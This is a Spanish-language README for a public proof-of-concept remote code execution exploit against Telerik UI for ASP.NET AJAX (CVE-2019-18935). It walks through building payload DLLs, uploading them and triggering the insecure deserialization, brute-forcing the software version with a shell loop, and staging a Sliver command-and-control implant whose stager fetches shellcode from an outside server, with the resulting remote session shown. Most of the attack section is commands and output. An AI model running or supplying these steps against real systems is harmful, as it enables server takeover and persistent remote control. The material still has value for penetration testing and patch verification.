
Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX.
Exploit de prueba de concepto para una vulnerabilidad de deserialización JSON en .NET en Telerik UI para ASP.NET AJAX que permite la ejecución remota de código.
Telerik UI para ASP.NET AJAX es un conjunto ampliamente utilizado de componentes de interfaz de usuario para aplicaciones web. Deserializa de manera insegura objetos JSON de una manera que resulta en la ejecución remota arbitraria de código en el host subyacente del software. Para más información, consulte:
Necesitará tener instalados Visual Studio y .NET Framework SDK para compilar cargas útiles DLL de ensamblado .NET en modo mixto usando build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Este exploit aprovecha la lógica de cifrado de RAU_crypto. La clase RAUCipher dentro de RAU_crypto.py depende de PyCryptodome, un reemplazo directo del módulo PyCrypto difunto. PyCryptodome y PyCrypto crean problemas cuando se instalan en el mismo entorno, por lo que la mejor manera de cumplir con esta dependencia es instalar el módulo dentro de un entorno virtual, como se muestra arriba.
Apunte la línea 17 de build-dll.bat a la ruta de su instalación de Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Algunas cargas útiles (por ejemplo, reverse-shell.c y sliver-stager.c) requieren que configure los campos HOST y PORT para que apunten a su servidor C2; ¡asegúrese de hacerlo!
En un entorno Windows con Visual Studio instalado, use build-dll.bat para generar DLL de ensamblado en modo mixto de 32 y 64 bits para usar como carga útil durante la deserialización. Opcionalmente, puede especificar una arquitectura de CPU de destino como segundo argumento de CLI (por ejemplo, x86).
build-dll.bat sleep.c
Pase la DLL generada anteriormente a CVE-2019-18935.py, que subirá la DLL a un directorio en el servidor de destino (siempre que el servidor web tenga permisos de escritura en ese directorio) y luego cargará esa DLL en la aplicación mediante el exploit de deserialización insegura.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
En el ejemplo anterior, la aplicación tardó al menos 10 segundos en responder, lo que indica que la carga útil DLL invocó correctamente Sleep(10000).
Como se detalla en la charla DerpCon .NET Roulette (39:46), podemos usar fuerza bruta para encontrar la versión de Telerik UI especificando solo la versión major del ensamblado Telerik.Web.UI (es decir, la parte 2017 de la cadena de versión completa 2017.2.503.40) al subir un archivo. Esta técnica reduce drásticamente el espacio de búsqueda en comparación con la fuerza bruta de cada versión específica de este software y, como beneficio adicional, incluso puede detectar versiones que no están explícitamente listadas en el historial de versiones de este software. Obtenga más información sobre el versionado de ensamblados .NET en MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
La carga útil personalizada del stager de Sliver, sliver-stager.c, recibe y ejecuta shellcode de Sliver (la etapa) desde el servidor Sliver (el servidor de staging), siguiendo el protocolo de staging de Metasploit. Para más detalles sobre cómo funciona, lea el encabezado en el código fuente de la carga útil.
Inicie el servidor Sliver. Más información sobre la configuración del servidor aquí.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Abra un endpoint C2 (estamos usando un listener mTLS aquí, pero también puede usar HTTP o DNS) en el servidor Sliver, cree un perfil de implante y cree un listener de staging vinculado a ese perfil. Más información sobre cargas útiles por etapas aquí. Tenga en cuenta que no estamos generando un stager de Sliver usando generate stager como sugiere la documentación de Sliver; en su lugar, estamos usando nuestro sliver-stager.c personalizado.
⚠️ Advertencia: ¡Enviar una etapa de la arquitectura de CPU incorrecta bloqueará el proceso objetivo! Por ejemplo, si el objetivo ejecuta una versión de 32 bits de Telerik UI y el servidor de staging envía una etapa de 64 bits al stager de 32 bits, el proceso del servidor web se bloqueará. En el siguiente ejemplo, generamos shellcode de 32 bits, pero debe coincidir con la arquitectura de CPU de su objetivo usando el indicador --arch del comando new-profile.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Establezca el host y el puerto en el código fuente del stager de Sliver para que apunten al servidor Sliver (mostrando un servidor de ejemplo a continuación).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Compile la carga útil del stager de Sliver y súbala al objetivo y cárguela en la aplicación (todo de acuerdo con las secciones de Uso anteriores en este README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
Si todo sale bien (¿ha solucionado problemas en este objetivo?), verá una sesión creada en la ventana de su servidor Sliver que puede usar para interactuar con el objetivo.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller de .NET no puede cargar múltiples ensamblados .NET con el mismo nombre de ensamblado (diferente de un nombre de archivo). Necesitará compilar y subir una nueva cada vez que desee que el objetivo duerma, retroceda, etc.El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por cualquier mal uso o daño causado por este programa.
rauPostData y posteriormente explotar la deserialización insegura de ese objeto.Este proyecto está licenciado bajo la Licencia Apache.